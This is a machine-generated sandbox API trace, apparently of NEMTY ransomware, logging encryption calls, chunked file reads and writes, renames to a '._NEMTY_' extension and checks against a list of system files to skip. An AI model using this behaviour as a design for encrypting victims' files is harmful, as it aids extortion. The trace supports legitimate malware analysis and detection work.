pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0131.475] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0131.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401d8 [0131.475] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401d8, pcchString=0x653e91c | out: pszString="RCm9/LOvwXbkO7nC4eJ0ZCI7TnvESChhhYmtf1kmAWKzrOOnL5Zsx0StbwKYcLRV\r\ngBSL3+Uk/0jAefT+a/bHx8WqNGk2TOavBrcQfcu4k0IIOUBEjTwoBWaSh5h8nb2B\r\njoc97A2mrioG9H4C4ELzvdNMOmy1MiFepP2P1BuUo629yfSLjmprNHtU9dyeUfTS\r\n6sXTcSLdpixRs3NnwE0fITm2O8SRbuAOiEY/W/ODZevRvZTqNuT3OEBRAOgtCZ9V\r\ni5WnJ81ZJ2uOfU2/Jh7Z739VwfPlUPvusKdoNoI0rrBqRPa01O5aUyPacQ+/uRoQ\r\nZ+N98yaa6Y9rsvhhBWDNcg==\r\n", pcchString=0x653e91c) returned 1 [0131.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0131.475] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401d8 | out: hHeap=0x4f90000) returned 1 [0131.475] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0131.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0131.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401d8 [0131.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0131.475] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\button_right_mouseover.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\button_right_mouseover.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0131.475] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0131.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0131.475] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.476] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.485] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.485] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.485] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.485] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.494] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.494] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.494] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.494] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.504] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.504] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.504] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.504] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.513] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.513] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.513] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.513] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.523] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.523] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.523] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.523] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.532] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.532] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.532] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.532] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.541] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.541] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.541] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.541] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.551] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.551] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.551] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.551] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.561] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.561] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.561] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.561] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.570] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.570] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.570] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.570] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.576] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.576] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.576] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.576] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.582] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.582] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.582] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.582] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401d8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.582] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0131.582] CloseHandle (hObject=0xffffffff) returned 0 [0131.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340348 [0131.583] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0131.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0131.583] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0131.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0131.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0131.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340410 [0131.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6343fe8 [0131.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0131.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0131.583] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\button_right_mouseover.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\button_right_mouseover.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\button_right_mouseover.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\button_right_mouseover.png._nemty_kgobjgd_")) returned 0 [0131.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0131.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0131.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0131.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401d8 | out: hHeap=0x4f90000) returned 1 [0131.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0131.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0131.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0131.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0131.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0131.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0131.583] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc90d45c4, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc90d45c4, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fba76ef, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x61ee, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="default_thumb.jpg", cAlternateFileName="")) returned 1 [0131.583] lstrcmpiW (lpString1="default_thumb.jpg", lpString2=".") returned 1 [0131.583] lstrcmpiW (lpString1="default_thumb.jpg", lpString2="..") returned 1 [0131.583] lstrcmpiW (lpString1="default_thumb.jpg", lpString2="...") returned 1 [0131.583] lstrcmpiW (lpString1="default_thumb.jpg", lpString2="windows") returned -1 [0131.583] lstrcmpiW (lpString1="default_thumb.jpg", lpString2="$RECYCLE.BIN") returned 1 [0131.583] lstrcmpiW (lpString1="default_thumb.jpg", lpString2="rsa") returned -1 [0131.583] lstrcmpiW (lpString1="default_thumb.jpg", lpString2="NTDETECT.COM") returned -1 [0131.583] lstrcmpiW (lpString1="default_thumb.jpg", lpString2="ntldr") returned -1 [0131.583] lstrcmpiW (lpString1="default_thumb.jpg", lpString2="MSDOS.SYS") returned -1 [0131.584] lstrcmpiW (lpString1="default_thumb.jpg", lpString2="IO.SYS") returned -1 [0131.584] lstrcmpiW (lpString1="default_thumb.jpg", lpString2="boot.ini") returned 1 [0131.584] lstrcmpiW (lpString1="default_thumb.jpg", lpString2="boot.ini") returned 1 [0131.584] lstrcmpiW (lpString1="default_thumb.jpg", lpString2="AUTOEXEC.BAT") returned 1 [0131.584] lstrcmpiW (lpString1="default_thumb.jpg", lpString2="ntuser.dat") returned -1 [0131.584] lstrcmpiW (lpString1="default_thumb.jpg", lpString2="desktop.ini") returned -1 [0131.584] lstrcmpiW (lpString1="default_thumb.jpg", lpString2="CONFIG.SYS") returned 1 [0131.584] lstrcmpiW (lpString1="default_thumb.jpg", lpString2="RECYCLER") returned -1 [0131.584] lstrcmpiW (lpString1="default_thumb.jpg", lpString2="BOOTSECT.BAK") returned 1 [0131.584] lstrcmpiW (lpString1="default_thumb.jpg", lpString2="bootmgr") returned 1 [0131.584] lstrcmpiW (lpString1="default_thumb.jpg", lpString2="programdata") returned -1 [0131.584] lstrcmpiW (lpString1="default_thumb.jpg", lpString2="appdata") returned 1 [0131.584] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0131.584] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="default_thumb.jpg", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0131.584] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0131.584] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="default_thumb.jpg", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="default_thumb.jpg", lpUsedDefaultChar=0x0) returned 17 [0131.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0131.584] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0131.584] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="default_thumb.jpg", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0131.584] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0131.584] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="default_thumb.jpg", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="default_thumb.jpg", lpUsedDefaultChar=0x0) returned 17 [0131.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0131.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0131.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0131.584] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0131.584] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="default_thumb.jpg", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0131.584] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0131.584] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="default_thumb.jpg", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="default_thumb.jpg", lpUsedDefaultChar=0x0) returned 17 [0131.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0131.584] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0131.584] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="default_thumb.jpg", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0131.584] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0131.584] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="default_thumb.jpg", cchWideChar=17, lpMultiByteStr=0x4f9ed08, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="default_thumb.jpg", lpUsedDefaultChar=0x0) returned 17 [0131.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0131.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340110 [0131.585] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0131.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0131.585] Sleep (dwMilliseconds=0x5) [0131.599] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2161430, dwHighDateTime=0x1d561e8)) [0131.599] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2161430, dwHighDateTime=0x1d561e8)) [0131.599] GetLastError () returned 0x5 [0131.599] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0131.599] GetLastError () returned 0x5 [0131.600] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0131.600] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0131.600] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0131.600] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0131.600] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0131.600] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0131.600] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401c8 [0131.600] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401c8, pcchString=0x653e91c | out: pszString="XuPXgVDWFMcRBYumTPpSmz3/fBqrsiqypHFdt6IVZlWbLvgzzdhSHWssAYdxkKAu\r\nrVRctnTkdIQf7y/+/1UR1TvJm74kuX7GluXnd2G6LfzbD9ctpEPaBQCyUWHuTKYd\r\nYhULTF0bnbBO339o0WdmvrcJQEsU71U0UJI/6rHFArAJhU1Q5uxQSXPjEcSz0utJ\r\nAqJ+UbOk8biBXvgkz3SmK8vwN9+UNOd4gS2kyYibXZQyitbRbRcyh5jLsP0a/bjQ\r\n/dm4FVW3Rweu/a/Km9ppnDWgTrgeE37SMciWixeiuhd2b/qWiMeJB99bf4/K+PsN\r\n4CxzSstwzW1aCYhlgcAxow==\r\n", pcchString=0x653e91c) returned 1 [0131.600] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0131.600] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401c8 | out: hHeap=0x4f90000) returned 1 [0131.600] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0131.600] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0131.600] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401c8 [0131.600] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0131.600] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\default_thumb.jpg" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\default_thumb.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0131.600] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0131.600] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0131.600] SetFilePointer (in: hFile=0xffffffff, 